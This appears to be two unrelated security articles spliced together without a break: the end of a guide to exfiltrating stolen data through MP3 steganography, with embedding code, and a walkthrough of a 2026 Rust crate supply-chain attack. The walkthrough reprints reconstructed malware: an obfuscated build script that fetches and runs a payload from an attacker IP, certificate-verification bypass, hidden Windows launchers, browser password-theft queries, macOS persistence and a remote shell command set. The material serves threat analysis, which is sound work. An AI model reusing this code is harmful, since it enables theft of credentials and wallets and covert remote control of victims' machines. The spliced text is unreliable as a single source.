#   codeword 1101 -> value 7  (odd parity, secret bit = 1)
# Swapping between these two encodes one hidden bit.
# pair_table: dict mapping a base codeword to its paired codeword
# that differs by exactly 1 bit
def embed_huffman_pairs(huffman_stream, pair_table, secret_bits):
    bit_index = 0
    for i, codeword in enumerate(huffman_stream):
        if codeword in pair_table and bit_index < len(secret_bits):
            paired = pair_table[codeword]
            # If the secret bit is 1, use the paired codeword
            # If the secret bit is 0, keep the original
            if secret_bits[bit_index] == 1:
                huffman_stream[i] = paired
            bit_index += 1
    return

Why this is stealthy. Both codewords in a pair map to valid coefficient values, so the decoder does not care which was used. The bitstream length is unchanged. The audio quality difference is 1 to 2 quantization steps, which is inaudible. No structural anomaly is left, only a statistical one requiring a trained steganalyzer.

GitHub reference.

• AS4PGC (implements Huffman table manipulation for MP3): https://github.com/ClarkFieseln/AS4PGC
• MP3Stego source code (reference for Huffman table structure): https://github.com/fabienpe/MP3Stego

Technique 5: Frame header bit stuffing and ID3 tag manipulation

How it works. The MP3 frame header (4 bytes, 32 bits) contains fields for sync word, MPEG version, layer, bitrate, sampling rate, and padding. Some bits are defined as private or reserved by the ISO standard and ignored by most decoders. An attacker sets these unused bits to carry hidden data. Additionally, ID3v2 tags at the beginning and ID3v1 tags at the end of the file can hold arbitrary text fields (artist, album, comments, lyrics) that can carry kilobytes of base64 encoded data.

Step by step (ID3 tag method).

1. Base64 encode the stolen data.
2. Write the base64 string into an ID3v2 COMM (comment) frame.
3. Save the MP3 file with the modified tag.
4. To extract, read the COMM frame and base64 decode the content.

Code.

# ID3 tag based embedding using mutagen (pip install mutagen)
# Simplest method, highest capacity, but most easily detected
from mutagen.id3 import ID3, COMM
import base64
# Embed:
audio = ID3('cover.mp3')
with open('secret_data.txt', 'rb') as f:
    encoded = base64.b64encode(f.read()).decode()
audio.add(COMM(encoding=3, lang='eng', desc='stego', text=encoded))
audio.save('stego_output.mp3')
# Extract:
audio = ID3('stego_output.mp3')
hidden = audio.getall('COMM')[0].text[0]
decoded = base64.b64decode(hidden)
with open('extracted_data.bin', 'wb') as f:
    f.write(decoded)

Capacity. ID3v2.4 tags can hold up to 256 MB (the tag size field is 28 bits). In practice, 100 KB of stolen data in a comment field is feasible without suspicion. Frame header bit stuffing has very low capacity (a few bits per frame) but is extremely hard to detect.

Detection. ID3 tag manipulation is detectable by reading tag contents and checking for high entropy or base64 data. Frame header bit stuffing requires a frame level analysis tool that checks reserved and private bits against expected values.

GitHub reference.

• mutagen (Python library for ID3 tag manipulation): https://github.com/quodlibet/mutagen

Technique 6: Spread spectrum audio steganography

How it works. Spread spectrum steganography, adapted from military radio communications, embeds data by spreading it across the entire frequency spectrum of the audio signal using a pseudo random noise sequence. The secret data is modulated by a pseudo random carrier signal and added to the audio samples at a very low amplitude, below the hearing threshold. The receiver, who knows the same pseudo random sequence, demodulates and recovers the hidden data.

Step by step.

1. Generate a pseudo random +1/-1 carrier sequence from a shared seed.
2. Repeat each secret bit to fill the available bandwidth (spread factor).
3. Convert bits to bipolar (+1/-1) signaling.
4. Multiply the carrier by the spread secret bits to create the steganographic signal.
5. Scale the signal to a very low amplitude (e.g. 0.001 of the audio range).
6. Add the steganographic signal to the audio samples.
7. To extract, multiply by the same carrier and integrate over each spread period.

Code.

# Spread spectrum embedding (simplified pseudocode)
# Reference: ResearchGate 2024, Applying Steganography in MP3 Files
import numpy as np
def embed_spread_spectrum(audio_samples, secret_bits, seed):
    rng = np.random.RandomState(seed)
    carrier = rng.choice([-1, 1], size=len(audio_samples))
    spread_factor = len(audio_samples) // len(secret_bits)
    spread_bits = np.repeat(secret_bits, spread_factor)
    spread_bits = 2 * spread_bits - 1  # 0/1 to -1/+1
    signal = carrier * spread_bits
    amplitude = 0.001  # below hearing threshold
    stego_audio = audio_samples + amplitude * signal
    return stego_audio
def extract_spread_spectrum(stego_audio, seed, num_bits, spread_factor):
    rng = np.random.RandomState(seed)
    carrier = rng.choice([-1, 1], size=len(stego_audio))
    demodulated = stego_audio * carrier
    bits = []
    for i in range(num_bits):
        start = i * spread_factor
        end = start + spread_factor
        chip_sum = np.sum(demodulated[start:end])
        bits.append(1 if chip_sum > 0 else 0)
    return bits

Why this is stealthy. The embedded signal is spread across the entire frequency spectrum at very low amplitude, appearing as random background noise. Unlike LSB modification, the change is distributed evenly across all bits of all samples. Without the seed, an attacker cannot even extract the data, let alone detect it.

Capacity. 20 to 200 bits per second of audio, depending on the spread factor (higher spread factor = more robust but lower data rate).

GitHub reference.

• AS4PGC (includes spread spectrum variant for compressed audio): https://github.com/ClarkFieseln/AS4PGC
• Covert channels and steganography resources: https://github.com/mindcrypt/covertchannels-steganography

Summary

MP3 based data exfiltration exploits the trust that security systems place in media files. The MP3 format is an ideal carrier: ubiquitous, lossy compression with multiple embedding points, large file sizes look normal, and steganography detection is computationally expensive so most DLP systems skip it.

Attackers can embed stolen data using techniques from simple (ID3 tag stuffing) to sophisticated (QMDCT LSB, Huffman pair substitution, spread spectrum), using publicly available tools with GitHub repositories (MP3Stego, AudioStego, HiddenWave, AS4PGC).

References

• Fabien Petitcolas, MP3Stego, https://www.petitcolas.net/steganography/mp3stego/ , 1998. Source: https://github.com/fabienpe/MP3Stego
• ACM, MP3 files as a steganography medium, https://dl.acm.org/doi/10.1145/2512209.2512215 , 2014. Four techniques: header bits, side info, empty frames, ID3 tags.
• ScienceDirect, Advanced audio coding steganography algorithm with distortion minimization, 2023. QMDCT with Huffman sign bits.
• ScienceDirect, Steganography for MP3 audio by exploiting the rule of window switching, 2012. Window switching based embedding.
• ResearchGate, Applying Steganography in MP3 Files using Spread Spectrum Technique, 2024. Spread spectrum in MP3.
• ScienceDirect, MP3 audio steganalysis, 2012. Markov chain and recommender system detection.
• JISE, Blind Steganalysis of Mp3stego, 2014. Statistical detection of MP3Stego.
• Research Square, A Comprehensive Review of MP3 Steganalysis Techniques, 2024. ML based detection survey.
• Daniel Cardenas, AudioStego, https://github.com/danielcardeenas/AudioStego . Blog: https://danielcardeenas.github.io/audiostego.html
• thehackersbrain, HiddenWave, https://github.com/thehackersbrain/hiddenwave . C++ audio steganography.
• thehackersbrain, HiddenWave-RS, https://github.com/thehackersbrain/hiddenwave-rs . Rust audio steganography.
• Clark Fieseln, AS4PGC, https://github.com/ClarkFieseln/AS4PGC . PyPI: https://pypi.org/project/as4pgc/ . Article: https://www.codeproject.com/Articles/5313626/Audio-Steganography-for-Pretty-Good-Concealing-AS4
• JPinSoft, DeepSound, http://jpinsoft.net/deepsound . GUI audio steganography for MP3, WAV, FLAC, APE.
• Dominic Breuker, Stego Toolkit, https://github.com/dominicbreuker/stego-toolkit . Docker container with preinstalled stego tools.
• Daniel Lerch, Aletheia, https://github.com/daniellerch/aletheia . Open source steganalysis. Paper: JOSS 2024.
• Daniel Lerch, Steganography for Python Programmers, https://daniellerch.me/stego/books/stegopython/audio-en/ . LSB matching and matrix embedding code.
• mindcrypt, Covert channels and steganography resources, https://github.com/mindcrypt/covertchannels-steganography
• Kaspersky Securelist, Steganography in contemporary cyberattacks, https://securelist.com/steganography-in-contemporary-cyberattacks/79276/ , 2017.
• Kaspersky Securelist, ScarCruft surveilling North Korean defectors, https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/ .
• The Hacker News, ScarCruft Uses Zoho WorkDrive and USB Malware to Breach Air-Gapped Systems, February 2026.
• Symantec, Witchetty: Group Uses Updated Toolset in Attacks on Governments, 2022. Backdoor.Stegmap bitmap steganography.
• Cylance, WAV audio files being used to hide malware, 2019. Crypto miners and Metasploit stagers in WAV files.
• pwn.guide, Audio Steganography: Hiding Malware in WAV Files, https://pwn.guide/free/cryptography/audio-steganography . TeamPCP attack chain with code.
• Trend Micro, Examining the Activities of the Turla APT Group, 2023. ComRAT v4, Crutch backdoor, Kazuar.
• Mordechai Guri, MOSQUITO: Covert Ultrasonic Transmissions Between Two Air-Gapped Computers, arXiv:1803.03422, 2018.
• Mordechai Guri et al., Fansmitter: Acoustic Data Exfiltration from (Speakerless) Air-Gapped Computers, Computers and Security, 2016.
• Mordechai Guri et al., DiskFiltration: Data Exfiltration from Speakerless Air-Gapped Computers via Covert Hard Drive Noise, arXiv:1608.03431, 2016.
• Mordechai Guri, POWER-SUPPLaY: Leaking Data from Air-Gapped Systems by Turning the Power Supplies into Speakers, IEEE TIFS, 2020.
• Mordechai Guri, Air Gap Research Page, https://www.covertchannels.com/ . Complete index of air gap exfiltration research.
• Canadian Centre for Cyber Security, Defending against data exfiltration threats (ITSM.40.110), https://www.cyber.gc.ca/en/guidance/defending-against-data-exfiltration-threats-itsm40110 .
• Wiz, What is Data Exfiltration? https://www.wiz.io/academy/detection-and-response/data-exfiltration .

MITRE ATT&CK mapping.

• T1041: Exfiltration Over C2 Channel
• T1048: Exfiltration Over Alternative Protocol
• T1567: Exfiltration Over Web Service
• T1020: Automated Exfiltration
• T1001: Data Obfuscation

What this post is about

This is a clear, step by step walkthrough of a real supply chain attack that hit the Rust programming language ecosystem on 20 August 2026. The attack used a popular Rust package called arrayref (downloaded about 244 million times over its lifetime) to quietly install malware on the computers of developers who simply ran cargo build. The malware stole browser passwords, cryptocurrency wallets and to establish long term remote access to those workstations.

By the end you will know exactly what the attacker did, in what order, and why each step worked.

The five Ws

• Who. An attacker who controlled the crates.io account named droundy (the real maintainer of arrayref). The same attacker likely also controls the GitHub account github.com/droundy, which went offline at the same time.
• What. Published malicious versions of three popular Rust crates (arrayref, internment, append-only-vec) plus a typosquat crate (proc-macro1) that carries the actual malware in its build script.
• When. 20 August 2026, between about 07:15 and 09:25 UTC. Total exposure window was 86 to 107 minutes.
• Where. The crates.io public package registry. The attacker server was a VPS at IP 23[.]254[.]165[.]112 hosted on Hostwinds.
• Why (attacker motive). To steal browser credentials and cryptocurrency wallet data from developer workstations, and to establish long term remote access to those workstations for follow on operations.

Timeline

• 2026–08–20 07:15:00 UTC: arrayref 0.3.10 published on crates.io by the droundy account (compromised).
• 2026–08–20 07:34:07 UTC: internment 0.8.7 published by the same droundy account, also with the malicious proc-macro1 dependency.
• 2026–08–20 07:37:49 UTC: append-only-vec 0.1.9 published by droundy, also poisoned.
• 2026–08–20 07:15 UTC: Initial report reaches the Rust Security Response Team (sourced by the Nextron Systems research team, who flagged proc-macro1).
• 2026–08–20 08:41:40 UTC: arrayref 0.3.10 deleted from crates.io. Online for 86 minutes.
• 2026–08–20 09:04:11 UTC: internment 0.8.7 deleted. Online for 90 minutes.
• 2026–08–20 09:25:24 UTC: append-only-vec 0.1.9 deleted. Online for 107 minutes.
• 2026–08–20 midday UTC: Older arrayref versions (0.3.5 through 0.3.9) that the attacker had yanked are unyanked. The droundy account is locked. The GitHub account github.com/droundy and its repositories go silent and return HTTP 404.
• 2026–08–20 about 13:00 UTC: RustSec advisory rustsec/advisory-db#3161 filed.

Stage 1: Account compromise

To publish a malicious version of arrayref, the attacker first needed control of the arrayref publishing account on crates.io. That account belongs to a developer known as droundy. The attacker somehow obtained the secret publishing token for that account. We do not yet know exactly how, but the most common ways a publishing token gets stolen are: a token leaked in a CI log file, a password reused on a less secure website that was breached, a phishing page that looked like the crates.io login, or a developer workstation that was already infected by an earlier piece of malware that scraped the token from an environment variable.

A strong hint that the attacker also holds the GitHub credential for the same person: the GitHub account github.com/droundy and all its repositories went offline at the same time and now return 404. If only the crates.io token had been stolen, the GitHub account would likely still be alive.

crates.io, the Rust package registry, lets a maintainer publish a new version of any crate they own with a single cargo publish call authenticated by a single bearer token. There is no second factor for crate publication: no confirmation email, no multi signature approval, no signed release. This is unlike PyPI, which mandates 2FA for maintainers of high traffic packages. The combination of a single token being enough and no mandatory MFA means whoever holds the token owns the crate.

The reason arrayref was a high value target: it sits in the dependency graph of tiny-skia, sctk-adwaita, and winit, which places it under most GUI work built on egui, eframe, and iced. Any project that pulls in one of those GUI stacks is one cargo update away from pulling a malicious new release of arrayref.

Stage 2: Typosquat creation of proc-macro1

The attacker published a new crate named proc-macro1. The name is one character short of the legitimate crate proc-macro2 (written by David Tolnay, whose crates.io account is dtolnay). The attacker account was named dtolney (missing the a). To make the fake crate look real, the attacker copied the entire source tree of the legitimate proc-macro2 and did a global find and replace of proc-macro2 to proc-macro1. They also forged the author metadata in the Cargo.toml to claim the crate was written by David Tolnay:

# proc-macro1 Cargo.toml (forged metadata)
authors = ["David Tolnay <rchaitm@gmail.com>"]
repository = "https://github.com/dtolnay/proc-macro1"
documentation = "https://docs.rs/proc-macro1/1.0.107"

The email rchaitm@gmail.com is not the email of David Tolnay (whose real crates.io email is dtolnay@gmail.com), and the GitHub URL https://github.com/dtolnay/proc-macro1 returns 404 because the real dtolnay owns no such repository.

Because the copied source code is real proc-macro2, builds that depend on proc-macro1 still compile and pass tests. Only a careful reviewer who notices the missing 2 in the name would catch the substitution.

The typosquat also adds three build dependencies that the real proc-macro2 does not have:

# proc-macro1 Cargo.toml build dependencies (suspicious additions)
[build-dependencies.base64]
version = "0.22"
[build-dependencies.rustls]
version = "0.23"
features = ["ring", "std", "tls12"]
default-features = false
[build-dependencies.ureq]
version = "2"
features = ["tls"]
default-features = false

These three crates give the build script: a base64 decoder, a TLS stack (rustls), and an HTTP client (ureq). The real proc-macro2 has no build dependencies at all, because a token parsing library has no reason to make network calls. The triplet of base64 plus rustls plus ureq is a network fetch toolkit, and that is the indicator that should have flagged the typosquat on dependency review.

Why this works. Rust developers are conditioned by the crate naming convention of proc-macro2 and similar suffixed names (like tokio1, serde1). The one character difference is easy to miss in a Cargo.toml review. And because proc-macro2 is so deeply embedded in the macro ecosystem, a republished lookalike under a near identical name does not stand out. The attacker kept the real source so the crate remains a working drop in, which means it compiles cleanly and the substitution is invisible to automated tests.

Stage 3: Manifest injection and the yank force update trick

The attacker modified the Cargo.toml of arrayref 0.3.10 to add a single dependency line. The rest of the Cargo.toml and the entire src/ tree are the legitimate upstream code for arrayref 0.3.9, with no build script and no source changes that reference proc-macro1:

# arrayref Cargo.toml 0.3.10 (only difference to 0.3.9)
[package]
name = "arrayref"
version = "0.3.10"
build = false
[dependencies.proc-macro1]
version = "1.0.107"

The version requirement 1.0.107 is a caret range, which in Cargo semver means >=1.0.107, <2.0.0. With only versions 1.0.106 and 1.0.107 ever published for proc-macro1, Cargo resolves the requirement to the malicious 1.0.107.

To force Cargo to pick the new version on existing projects, the attacker also yanked every older release of arrayref from 0.3.5 through 0.3.9. Yanking in Cargo does not delete a published crate (the crate remains resolvable by an existing Cargo.lock), but any new cargo update or new project without a Cargo.lock will print a warning:

warning: package `arrayref` is yanked in version 0.3.9, consider updating to a version that is not yanked

That warning is the nudge that pushes a cargo update from 0.3.9 to 0.3.10, the only non yanked release at that moment. The reporter who filed the RustSec advisory explicitly cited this yank and update warning path as how their own CI pipeline hit the malicious release.

Why this works. A single malicious dependency line in Cargo.toml is enough to introduce arbitrary code execution at build time, because Cargo compiles and runs build.rs for every non optional dependency before compiling the dependent crate code itself. The arrayref source never references proc-macro1 in its code, but that does not matter. Cargo resolves and builds the dependency graph from the manifest, then runs build scripts for every dependency, and only then compiles the dependent crate. So the one line injection is the entire compromise surface inside arrayref itself. The yank and force update trick is the same technique used in the June 2026 Mastra npm campaign (yank the older versions, leave one malicious version as the only resolvable one).

Stage 4: Build time payload execution in proc-macro1 build.rs

The malicious build.rs lives in the proc-macro1 1.0.107 release. Cargo automatically compiles and runs this file before compiling the crate source. The first thing it does is reassemble the attacker server address from base64 fragments, so the raw IP string never appears in the source code as plain text:

// proc-macro1-1.0.107/build.rs
// SRC decodes to https://23[.]254[.]165[.]112:9089/
const SRC_URL_PARTS: &[&str] = &[
    "aHR0cHM6Ly8=",     // https://
    "MjMuMjU0Lg==",     // 23.254.
    "MTY1Lg==",         // 165.
    "MTEyOg==",         // 112:
    "OTA4OS8=",         // 9089/
];
// END decodes to 23[.]254[.]165[.]112:443
const END_URL_PARTS: &[&str] = &[
    "MjMuMjU0Lg==",     // 23.254.
    "MTY1Lg==",         // 165.
    "MTEyOg==",         // 112:
    "NDQz",             // 443
];
fn src_url() -> String {
    SRC_URL_PARTS.iter()
        .map(|p| String::from_utf8(base64::decode(p).unwrap()).unwrap())
        .collect()
}
fn end_url() -> String {
    END_URL_PARTS.iter()
        .map(|p| String::from_utf8(base64::decode(p).unwrap()).unwrap())
        .collect()
}

Each fragment is base64 of a small URL piece. The split defeats naive string scanners that look for an http literal, and even defeats entropy based scanners because each fragment is small and looks like ordinary base64 text. The decoded src_url() is the payload download URL (https://23[.]254[.]165[.]112:9089/), and end_url() is the C2 callback address (23[.]254[.]165[.]112:443) that is passed to the second stage as a command line argument. The build script never opens a connection to end_url() itself: only the second stage program reads that argument and uses it. This is the key split between the two network roles in this attack.

A second stealth detail from the JFrog research: the malicious build script still emits the legitimate proc-macro2 cfg probes (the cargo:rustc-cfg=... and cargo:warning=... lines that the real proc-macro2 uses to inform the dependent crate about its platform capabilities). The download and execute block is inserted in the middle of those legitimate cfg probes, so the build script output looks identical to a normal proc-macro2 build script when skimmed. A developer watching the cargo build log sees the expected cargo:rustc-cfg=libprobe style lines and does not notice that a 30 line HTTP download block ran between them.

The TLS HTTP client uses a custom ServerCertVerifier that accepts any certificate, including self signed ones pinned to a raw IP. The relevant struct implements the rustls::client::danger::ServerCertVerifier trait by returning Ok from every method:

// proc-macro1-1.0.107/build.rs (TLS verification disabled)
struct AcceptAll;
impl ServerCertVerifier for AcceptAll {
    fn verify_server_cert(
        &self,
        _end_entity: &CertificateDer,
        _intermediates: &[CertificateDer],
        _server_name: &ServerName,
        _ocsp_response: &[u8],
        _now: UnixTime,
    ) -> Result<ServerCertResult, Error> {
        // Accept every certificate, no signature or chain validation.
        Ok(ServerCertResult::Ok)
    }
    fn verify_tls12_signature(
        &self,
        _message: &[u8],
        _cert: &CertificateDer,
        _dss: &dyn DigitallySignedStruct,
    ) -> Result<HandshakeSignatureValid, Error> {
        Ok(HandshakeSignatureValid::assertion())
    }
    fn verify_tls13_signature(
        &self,
        _message: &[u8],
        _cert: &CertificateDer,
        _dss: &dyn DigitallySignedStruct,
    ) -> Result<HandshakeSignatureValid, Error> {
        Ok(HandshakeSignatureValid::assertion())
    }
    fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
        // Allow every scheme so a self signed cert with any sig alg passes.
        vec![SignatureScheme::RSA_PSS_SHA256,
             SignatureScheme::ECDSA_NISTP256_SHA256,
             SignatureScheme::ED25519]
    }
}

The HTTP GET downstream is a ureq GET request that takes about 30 lines of code: configure a rustls::ClientConfig with the AcceptAll verifier, wrap it in a ureq::Agent, get the URL, and read the body bytes. The full body is the second stage executable for the victim operating system and CPU architecture. The attacker publishes four variants on the same server: rust-crate_0.1.0 (Linux x86_64), rust-crate_0.2.0 (Windows x86_64), rust-crate_0.3.0 (macOS x86_64), and rust-crate_0.4.0 (macOS aarch64). The build.rs selects the variant by inspecting std::env::consts::OS and std::env::consts::ARCH at build time.

Why this works. Base64 fragmenting defeats shallow static string scans that look for http:// or https:// literals. Accepting any certificate lets the attacker host the payload on a raw IP with a self signed certificate, which is cheaper than registering a domain and leaves no certificate transparency footprint. Using ureq (a small, no async runtime HTTP client) and rustls (a pure Rust TLS stack with no OpenSSL system linkage) makes the build script self contained: it can fetch over HTTPS even on a minimal Cargo build environment with no system OpenSSL installed.

Crucially, the build script runs with the full privileges of the developer who invoked cargo build. On a developer workstation, that is the same privilege level the developer has over their source tree, their SSH keys, their browser credential database, and their cloud CLI tokens. There is no sandbox around Cargo build script execution in the default Cargo workflow.

Stage 5: Dropper platform branching and detached execution

After the build script downloads the second program, its dropper behavior splits on the host operating system.

On Unix (Linux and macOS), the build script writes the downloaded bytes to a hardcoded path, makes the file executable, and starts the process detached with the second URL as an argument:

// proc-macro1-1.0.107/build.rs Unix dropper
fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    // chmod +x /tmp/rust-setup
    Command::new("chmod")
        .args(["+x", path.to_str().unwrap()])
        .status()
        .unwrap();
    // Execute detached, hand it the C2 address (23[.]254[.]165[.]112:443)
    Command::new(&path)
        .arg(end_url())
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .spawn()
        .expect("failed to spawn payload");
}

On Windows, the build script writes a PowerShell script file and a VBScript launcher to the user %TEMP% directory. The PowerShell script holds the second stage payload. The VBScript launcher invokes the PowerShell script via the WScript.Shell COM object in hidden window mode, with execution policy bypassed so the system PowerShell execution policy does not block the script. The build script uses cscript.exe to spawn the VBScript launcher, again with all standard streams redirected to null. Two distinct escapes happen here:

1. Job object escape. Cargo places every spawned child process inside a Windows job object that closes when the build finishes. When the job object closes, all processes inside it are killed. The inserted cscript.exe process is killed, but the PowerShell process it spawned via WScript.Shell.Run is not a direct child of the cargo process tree (it is created via COM), so it does not inherit the job object. The malicious PowerShell process keeps running after the build finishes and even after the developer closes the terminal that ran cargo build.
2. Window visibility escape. The WScript.Shell.Run call passes the intWindowStyle = 0 argument (hidden window) plus bWaitOnReturn = False (asynchronous). The hidden window plus asynchronous launch means the developer sees no visible PowerShell window open during the cargo build, which would otherwise be an obvious signal of a credentials attack happening in real time. The CREATE_NO_WINDOW flag (per the JFrog analysis) is also used to suppress the console host window.

// proc-macro1-1.0.107/build.rs Windows dropper (paraphrased)
fn run_windows_payload(bytes: Vec<u8>) {
    let temp = std::env::temp_dir();
    let ps1  = temp.join("rust-setup.ps1");
    let vbs  = temp.join("rust-setup-launch.vbs");
    std::fs::write(&ps1, &bytes).expect("write payload ps1");
    // VBScript body: launch the PS1 hidden via WScript.Shell.Run
    let vbs_body = format!(
        "Set s = CreateObject(\"WScript.Shell\")\n\
         s.Run \"powershell -WindowStyle Hidden -File {}\", 0, False\n",
        ps1.to_str().unwrap()
    );
    std::fs::write(&vbs, vbs_body).expect("write vbs launcher");
    Command::new("cscript")
        .arg(vbs.to_str().unwrap())
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .spawn()
        .expect("failed to spawn payload");
}

Why this works. Detached execution with all three standard streams redirected to null means the spawned malicious process does not block the build script spawn call. The build script returns control to Cargo, Cargo proceeds to compile arrayref and the dependent project, and the build completes normally. The malicious process is now running on the developer workstation with no console output visible to the developer. The Windows VBScript and WScript.Shell.Run pattern adds two escapes: it bypasses the Cargo job object kill on build exit, and the hidden window flag suppresses the visible PowerShell window that would otherwise pop up during cargo build.

Stage 6: The second stage infostealer binary

The second stage program (/tmp/rust-setup on Unix, the PowerShell script on Windows) is itself a Rust compiled executable. Two of the four platform variants were recovered by researchers and dissected in detail: rust-crate_0.1.0 (Linux x86_64) and rust-crate_0.4.0 (macOS aarch64). The Windows PowerShell sample received was a zero byte file with no analyzable content.

The program reads its own command line arguments to recover the C2 host. On macOS disassembly, this is done via the _NSGetArgc and _NSGetArgv system functions, which return the count and pointer array of argv. The host string is taken from argv[1] (the value the build script passed as end_url(), which is 23[.]254[.]165[.]112:443) and fed into a URL string format routine that produces the final C2 endpoint https://{host}/49890878. The path literal /49890878 is an unusual identifier: it was previously observed as the C2 endpoint in the June 2026 Axios npm and the Mastra npm supply chain attacks, which is the strongest attribution hint that this campaign is the same threat actor moving into Rust.

The infostealer module targets Chromium based browsers. On the macOS build, the analyzed sample references the profile directory paths for Google Chrome, Brave, and Microsoft Edge (typically ~/Library/Application Support/Google/Chrome, ~/Library/Application Support/BraveSoftware/Brave-Browser, and ~/Library/Application Support/Microsoft Edge). For each profile, the stealer opens the SQLite Login Data database and runs two SQL queries that recover saved credentials:

-- Stealer SQL against the Chromium Login Data SQLite database
-- (database file path: <profile_dir>/Default/Login Data)
SELECT DISTINCT origin_url
FROM logins
WHERE origin_url IS NOT NULL
  AND length(origin_url) > 0
  AND is_blacklisted = 0;
SELECT DISTINCT username_value, password_value
FROM logins
WHERE username_value IS NOT NULL
  AND length(username_value) > 0;

The password_value column in Chromium is stored as a blob encrypted with the operating system keychain (Keychain on macOS, DPAPI on Windows, libsecret or kwallet on Linux). The stealer performs the corresponding decryption step using the OS native secret service (the Security.framework API on macOS, the CryptUnprotectData API on Windows) before exfiltrating the pair.

The stealer also references the browser extension storage directory Local Extension Settings, which is where many browser based cryptocurrency wallets (MetaMask, Phantom, Rabby, and other EVM chain wallets) write their encrypted wallet vault files. Pulling the contents of Local Extension Settings is sufficient to recover those wallet vaults on a workstation whose user is currently logged in to the wallet.

Why this works. Chromium stores credentials in a single SQLite file with a known schema, which has been documented in the Chromium source for over a decade. The schema and the encryption boundary (SQLite file with DPAPI or Keychain enveloped password blobs) are stable across Chromium minor releases, so the same extractor code works against Chrome, Brave, Edge, Vivaldi, and Opera without modification. Browser extension wallet vaults are an extremely high value target because a single MetaMask seed phrase equals direct access to on chain assets, with no further phishing required. Targeting Web3 wallet vaults alongside credential databases is the same trade craft observed in the Axios npm campaign.

Stage 7: Persistence on macOS via LaunchAgent

On macOS, the second stage program carries a LaunchAgent property list template embedded as a string constant. A LaunchAgent is a macOS mechanism that lets a program start automatically when the user logs in. The template contains placeholder fields that are filled in at runtime. The program writes the completed plist to a path under ~/Library/LaunchAgents/ (the user level LaunchAgents directory), and launchd immediately loads the agent on the next user login because of the RunAtLoad boolean key set to true.

<!-- Embedded LaunchAgent plist template, recovered from rust-crate_0.4.0 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
          "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>{LABEL_PLACEHOLDER}</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/zsh</string>
        <string>-c</string>
        <string>{COMMAND_PLACEHOLDER}</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

At runtime the program fills the placeholders with a unique label (for example a UUID to avoid collisions) and a command string that re fetches and re launches the second stage program, ensuring the malicious process restarts after a reboot or after the user kills it manually. Writing to ~/Library/LaunchAgents requires no root or admin privileges on macOS, because the directory is owned by the user. The plist takes effect on the next login launchd load and starts the persisted payload automatically before the user opens a terminal.

Why this works. LaunchAgent persistence is the macOS equivalent of the Windows Run registry key or the Linux ~/.config/systemd/user unit. It runs in the same user session and has the same file system and network access as the user. The choice of /bin/zsh -c over a direct binary path makes the command line template reusable: the persisted agent can run any future command the attacker pushes through the C2 dispatcher, including downloading and executing a different binary, without rewriting the plist. Setting RunAtLoad to true ensures the payload starts immediately even before the user explicitly triggers a launch, which closes the gap between user logon and the first beacon to the C2.

Stage 8: C2 registration and command dispatcher

After the second stage program starts, the first thing it does is send a registration message to the C2 endpoint https://{host}/49890878. The registration message is a JSON object with a small fixed set of fields:

{
  "id": "<host derived uuid>",
  "url": "https://23.254.165.112/49890878",
  "os_type": "macos",
  "os_ver": "15.6.1",
  "os_arch": "aarch64",
  "platform_ver": "darwin 24.6.0",
  "app": "rust-crate_0.4.0",
  "email": "victim@example.com"
}

The id field is derived from a host fingerprint (typically a combination of the macOS IOPlatformUUID and the user short name), so the C2 can deduplicate registrations from the same machine. The email field is taken from the local user account configuration on macOS or, on Windows, from the WMI namespace.

After registration, the program enters a polling loop. The loop sleeps for an interval (about 30 to 60 seconds between polls), issues an HTTP GET against the same C2 endpoint with a /tasks style suffix, and parses the response as a list of command objects.

The command set is a small fixed list of names recovered from the binary: minicfg, startup, runscript, Shell, and ShellX. The names map to behaviors:

• minicfg. Update the polling interval or the C2 URL on the running beacon without a re install. The handler updates internal state from a JSON payload sent with the task.
• startup. Re write the LaunchAgent (or the Windows equivalent persistence location) to repair persistence if the user has removed it. A self healing step.
• runscript. Execute a shell script provided as a base64 encoded argument in the task payload. The handler decodes the script to %TEMP%, marks it executable on Unix, runs it with /bin/sh -c, and returns the exit code to the C2.
• Shell. Execute a single shell command line provided as a string in the task payload. The handler passes it to std::process::Command::new("/bin/sh").arg("-c").arg(line) on Unix (or cmd /c on Windows).
• ShellX. The same as Shell but with no output captured, for asynchronous long running commands.

